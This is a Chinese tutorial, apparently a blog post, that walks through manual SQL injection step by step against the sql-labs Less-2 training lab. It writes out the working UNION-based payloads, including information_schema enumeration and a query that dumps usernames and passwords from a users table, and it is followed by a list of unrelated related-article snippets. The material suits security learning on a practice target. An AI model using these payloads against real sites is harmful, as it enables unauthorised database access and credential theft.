SQL注入-SQL注入过程
SQL注入的过程
手工注入过程
(1) 判断是否存在注入点;
(2) 判断字段长度(字段数);
(3) 判断字段回显位置;
(4) 判断数据库信息;
(5) 查找数据库名;
(6) 查找数据库表;
(7) 查找数据库表中所有字段以及字段值;
(8) 猜解账号密码;
(9) 登录管理员后台;
以sql-labs less-2举例
会有提示 请输入ID作为数值参数
Please input the ID as parameter with numeric value
id=1-12 都会返回值 也就是相当于该id列 共有12个值 1-12

(1) 判断是否存在注入点;
三步
?id=1' 报错数据库错误
?id=1 and 1=1 成功
?id=1 and 1=2 失败
通过这三点就可以看出 存在注入点并且注入点在url中 属于GET数字型注入点
(2) 判断字段长度(字段数);
使用order by排序进行判断
?id=1 and 1= 1 order by 1 对第一列排序 正常显示
?id=1 and 1= 1 order by 2 对第二列排序 正常显示
?id=1 and 1= 1 order by 3 对第三列排序 正常显示
?id=1 and 1= 1 order by 4 对第四列排序 错误显示:Unknown column '4' in 'order clause'
判断出 对前三列排序都是正常显示 对第四列排序显示错误:第四列未知
使用 union 联合查询进行判断
?id=1 and 1= 1 union select 1 错误显示
?id=1 and 1= 1 union select 1,2 错误显示
?id=1 and 1= 1 union select 1,2,3 正常显示
?id=1 and 1= 1 union select 1,2,3,4 错误显示
判断出 联合查询为3列的时候能与原列数进行拼接 否则报错原因为:所使用的SELECT语句具有不同数量的列
通过以上两种方法可以判断出 该表的字段数为3
(3) 判断字段回显位置;
目前知道有三个字段 但是只回显了两个字段的值 我们应该判断哪些字段是隐藏的 哪些字段是回显出来的
使用and否定前面的查询 使数据库执行union后的查询语句
已知三个字段 给联合查询 三个常量值 1,2,3进行判断哪些字段显示出来了
?id=1 and 1= 2 union select 1,2,3
回显的值为2和3,表示 能显示的位置为2号位和3号位也就是2字段和3字段,那么第1个字段就是隐藏位,从这个信息我们就可以的到下一步,如果我们设计payload的时候,我们希望把payload放到2号位和3号位的位置,只有这样我们才能够看到payload的返回结果(如果payload放到1号位 虽然也能执行 但是无法看到执行结果)
(4) 判断数据库信息;
获取服务器所有数据库
从目录数据库中进行查找 存放着MYSQL所有的数据库,表,列的名(上面提到过 这个目录数据库的数据库名 目录数据库的表名 目录数据库中表的列名都是固定的)(只演示获取数据库)
?id=1 and 1= 2 union select 1,2,schema_name from information_schema.schemata
schema_name
列有很多个值 但是3号位只能显示第一个值 只能显示第一个数据库的名
使用group_concat()函数聚合函数把当前列所有值连接成字符串 从而返回一个结果集 返回当前服务器存在的所有数据库
?id=1 and 1= 2 union select 1,2,group_concat(schema_name) from information_schema.schemata
5 获取当前网站的数据库
?id=1 and 1= 2 union select 1,2,database()
获取到网站数据库名security了 就开始获取security内的表了
(6) 查找数据库表;
?id=1 and 1= 2 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema="security"
到这我们认为users可能存放着敏感信息于是查询users表中字段名以及字段值
(7) 查找数据库表中所有字段以及字段值;
查询users字段名
?id=1 and 1= 2 union select 1,2,group_concat(column_name) from information_schema.columns where table_schema="security" and table_name="users"
查询每个字段的值
现在已经知道数据库为security表位users 就不需要目录数据库了
使用concat_ws()函数 将每个字段的值以逗号分开结合成字符串
如果不是用该函数3号位只能显示1个字段的一个值 使用后3号位能显示3个字段的3个值
使用limit逐行显示 不使用注释会报错 大概率是与服务器的固定部分语句冲突等原因
?id=1 and 1= 2 union select 1,2,concat_ws(',',id,username,password) from security.users limit 0,1 --
前7步已经得到想要的结果了账号密码了 (8) 猜解账号密码 略过
当前靶场无登录界面 所以 (9) 登录管理员后台;略过
以上七步的所有结果后不确定是否正确
登录靶机的mysql中 查看security数据库users表中的内容进行验证 发现完全一致
相关文章:
SQL注入-SQL注入过程
SQL注入的过程 手工注入过程 (1) 判断是否存在注入点; (2) 判断字段长度(字段数); (3) 判断字段回显位置; (4) 判断数据库信息; (5) 查找数据库名; (6) 查找数据库表; (7) 查找数据库表中所有字段以及字段值; (8) 猜解账号密码; (9) 登录管理员后台; 以sql-labs less-2举例 会…...
选择更灵活的设计工具:SOLIDWORKS 软件网络版与单机版的比较
随着科技的飞速发展,工程设计领域对于高效、灵活的设计工具需求日益增加。SOLIDWORKS 作为一款广受欢迎的三维设计软件,提供了网络版和单机版两种选择。在本文中,我们将深入探讨这两个版本的区别,并为您详细介绍它们的价格差异。 …...
Go语言中获取协程ID
简介 java同事都知道,线程会有对应的id,那么go语言中协程有id吗,其实是有的,但是不建议使用。 实在需要使用的话可以使用本文的例子获取 stack 我们先看一下runtime.Stack打印出来的栈结构,其中就包括了协程id fu…...
CH58x-BLE 程序阅读笔记
CH58x-BLE 程序阅读笔记 1. 广播1.1 广播类型设置1.2 广播数据长度 2. MTU设置2.1 CH58x 蓝牙协议栈支持有效最大MTU为247 1. 广播 1.1 广播类型设置 1.2 广播数据长度 1) GAP-广播数据(最大大小31字节,但最好保持较短以节省广告时的电量&a…...
ST53xx 系列是一种高精度、高输入电压、低静态电流、高速度、低压差线性稳压器
ST53xxS/T 40V,低静态电流,高可靠性 LDO 概述: ST53xx 系列是一种高精度、高输入电压、低静态电流、高速度、低压差线性稳压器,具有高纹波抑制能力。在 Vour 5V VIN 7V 时,输入电压高达40V,负载电流高达300…...
麻雀搜索优化算法MATLAB实现,SSA-BP网络
对于麻雀搜索算法的介绍,网上已经有不少资料了,这边公布SSA的matlab实现 下面展示SSA算法的核心代码以及详细注解 % 麻雀搜索算法函数定义 % 输入:种群大小(pop),最大迭代次数(Max_iter),搜索空间下界(lb),…...
142. 环形链表 II --力扣 --JAVA
题目 给定一个链表的头节点 head ,返回链表开始入环的第一个节点。 如果链表无环,则返回 null。 如果链表中有某个节点,可以通过连续跟踪 next 指针再次到达,则链表中存在环。 为了表示给定链表中的环,评测系统内部使…...
深入浅出 Vue 中的插槽 slot
深入浅出 Vue 中的插槽 slot start 最近被问到好几次 Vue 中的插槽相关知识,掌握的还是有些不全面。抱着重新学习的心态,写这篇博客。首先对基础知识做一个回顾,然后再对源码实现做一个学习。作者:番茄编写时间:2023…...
postgreSQL 查询所有模式的语句
场景 postgre 数据库下携带模式的分组 sql select schema_name from information_schema.schemata;...
pandas教程:Introduction to scikit-learn scikit-learn简介
文章目录 13.4 Introduction to scikit-learn(scikit-learn简介) 13.4 Introduction to scikit-learn(scikit-learn简介) scikit-learn是一个被广泛使用的python机器学习工具包。里面包含了很多监督式学习和非监督式学习的模型&a…...
Linux配置路由功能及添加静态路由
一、配置路由功能 Linux作为路由器,Linux本身就具备路由功能,开启方式如下: 临时开启: echo "1" > /proc/sys/net/ipv4/ip_forward永久开启: vim /etc/sysctl.confnet.ipv4.ip_forward1 # 配置生效 sys…...
什么是Geo Trust OV证书
一、GeoTrust OV证书的介绍 GeoTrust OV证书是由GeoTrust公司提供的SSL证书,它是一种支持OpenSSL的数字证书,具有更高的安全性和可信度。GeoTrust是全球领先的网络安全解决方案提供商,为各类用户提供SSL证书和信任管理服务。GeoTrust OV证书…...
selenium 工具 的基本使用
公司每天要做工作汇报,汇报使用的网页版, 所以又想起 selenium 这个老朋友了。 再次上手,发现很多接口都变了, 怎么说呢, 应该是易用性更强了, 不过还是得重新看看, 我这里是python3。 pip安装…...
Excel如何比较两列数据的不同
当遇到exel有两个列表的数据,需要比较得到他们的不同的部分,并且得到一个不同的值的列表。示例如下: 目的是:通过比较,知道Column2的哪些值不在在Column1里。 WPS直接提供了这一个功能,如下图:…...
力扣labuladong——一刷day47
提示:文章写完后,目录可以自动生成,如何生成可参考右边的帮助文档 文章目录 前言一、力扣993. 二叉树的堂兄弟节点二、力扣1315. 祖父节点值为偶数的节点和三、力扣1448. 统计二叉树中好节点的数目四、力扣1469. 寻找所有的独生节点 前言 二叉…...
蓝桥杯-02-python组考点与14届真题
文章目录 蓝桥杯python组考点与14届真题参考资源python组考点1. 组别2. 竞赛赛程3. 竞赛形式4. 参赛选手机器环境5. 试题形式5.1. 结果填空题5.2. 编程大题 6. 试题考查范围7. 答案提交8. 评分9. 样题样题 1:矩形切割(结果填空题)样题 2&…...
【0240】源码分析PG内核中的关键字列表(SQL keywords)
相关文章: 【0236】聊一聊PG内核中的命令标签(Command Tags、CommandTag、tag_behavior) 【0239】从编译原理角度理解 #include “xxx“ 或 #include<xxx> 的实现机制 1. PostgreSQL的SQL关键字列表(SQL Keywords) 1.1 keywords.c源文件内容 keywords.c源文件中的内容…...
【Python深度学习第二版】学习笔记之——什么是深度学习
机器学习是将输入(比如图像)映射到目标(比如标签“猫”)的过程。 这一过程是通过观察许多输入和目标的示例来完成的。 深度神经网络通过一系列简单的数据变换(层)来实现这种输入到目标的映射,这…...
ddns-go部署在linux虚拟机
ddns-go部署ubuntu1804 1.二进制部署 1.虚拟机部署 1.下载linux的x86二进制包 wget https://github.com/jeessy2/ddns-go/releases/download/v5.6.3/ddns-go_5.6.3_linux_x86_64.tar.gz2.解压 tar -xzf ddns-go_5.6.3_linux_x86_64.tar.gz3.拷贝执行文件到PATH下,…...
LeetCode Hot100 543.二叉树的直径
题目: 给你一棵二叉树的根节点,返回该树的 直径 。 二叉树的 直径 是指树中任意两个节点之间最长路径的 长度 。这条路径可能经过也可能不经过根节点 root 。 两节点之间路径的 长度 由它们之间边数表示。 方法:灵神 代码: …...
【入坑系列】TiDB 强制索引在不同库下不生效问题
文章目录 背景SQL 优化情况线上SQL运行情况分析怀疑1:执行计划绑定问题?尝试:SHOW WARNINGS 查看警告探索 TiDB 的 USE_INDEX 写法Hint 不生效问题排查解决参考背景 项目中使用 TiDB 数据库,并对 SQL 进行优化了,添加了强制索引。 UAT 环境已经生效,但 PROD 环境强制索…...
CMake基础:构建流程详解
目录 1.CMake构建过程的基本流程 2.CMake构建的具体步骤 2.1.创建构建目录 2.2.使用 CMake 生成构建文件 2.3.编译和构建 2.4.清理构建文件 2.5.重新配置和构建 3.跨平台构建示例 4.工具链与交叉编译 5.CMake构建后的项目结构解析 5.1.CMake构建后的目录结构 5.2.构…...
pam_env.so模块配置解析
在PAM(Pluggable Authentication Modules)配置中, /etc/pam.d/su 文件相关配置含义如下: 配置解析 auth required pam_env.so1. 字段分解 字段值说明模块类型auth认证类模块,负责验证用户身份&am…...
【CSS position 属性】static、relative、fixed、absolute 、sticky详细介绍,多层嵌套定位示例
文章目录 ★ position 的五种类型及基本用法 ★ 一、position 属性概述 二、position 的五种类型详解(初学者版) 1. static(默认值) 2. relative(相对定位) 3. absolute(绝对定位) 4. fixed(固定定位) 5. sticky(粘性定位) 三、定位元素的层级关系(z-i…...
vue3 字体颜色设置的多种方式
在Vue 3中设置字体颜色可以通过多种方式实现,这取决于你是想在组件内部直接设置,还是在CSS/SCSS/LESS等样式文件中定义。以下是几种常见的方法: 1. 内联样式 你可以直接在模板中使用style绑定来设置字体颜色。 <template><div :s…...
Linux云原生安全:零信任架构与机密计算
Linux云原生安全:零信任架构与机密计算 构建坚不可摧的云原生防御体系 引言:云原生安全的范式革命 随着云原生技术的普及,安全边界正在从传统的网络边界向工作负载内部转移。Gartner预测,到2025年,零信任架构将成为超…...
网站指纹识别
网站指纹识别 网站的最基本组成:服务器(操作系统)、中间件(web容器)、脚本语言、数据厍 为什么要了解这些?举个例子:发现了一个文件读取漏洞,我们需要读/etc/passwd,如…...
【Android】Android 开发 ADB 常用指令
查看当前连接的设备 adb devices 连接设备 adb connect 设备IP 断开已连接的设备 adb disconnect 设备IP 安装应用 adb install 安装包的路径 卸载应用 adb uninstall 应用包名 查看已安装的应用包名 adb shell pm list packages 查看已安装的第三方应用包名 adb shell pm list…...
第一篇:Liunx环境下搭建PaddlePaddle 3.0基础环境(Liunx Centos8.5安装Python3.10+pip3.10)
第一篇:Liunx环境下搭建PaddlePaddle 3.0基础环境(Liunx Centos8.5安装Python3.10pip3.10) 一:前言二:安装编译依赖二:安装Python3.10三:安装PIP3.10四:安装Paddlepaddle基础框架4.1…...
对象回调初步研究
_OBJECT_TYPE结构分析 在介绍什么是对象回调前,首先要熟悉下结构 以我们上篇线程回调介绍过的导出的PsProcessType 结构为例,用_OBJECT_TYPE这个结构来解析它,0x80处就是今天要介绍的回调链表,但是先不着急,先把目光…...












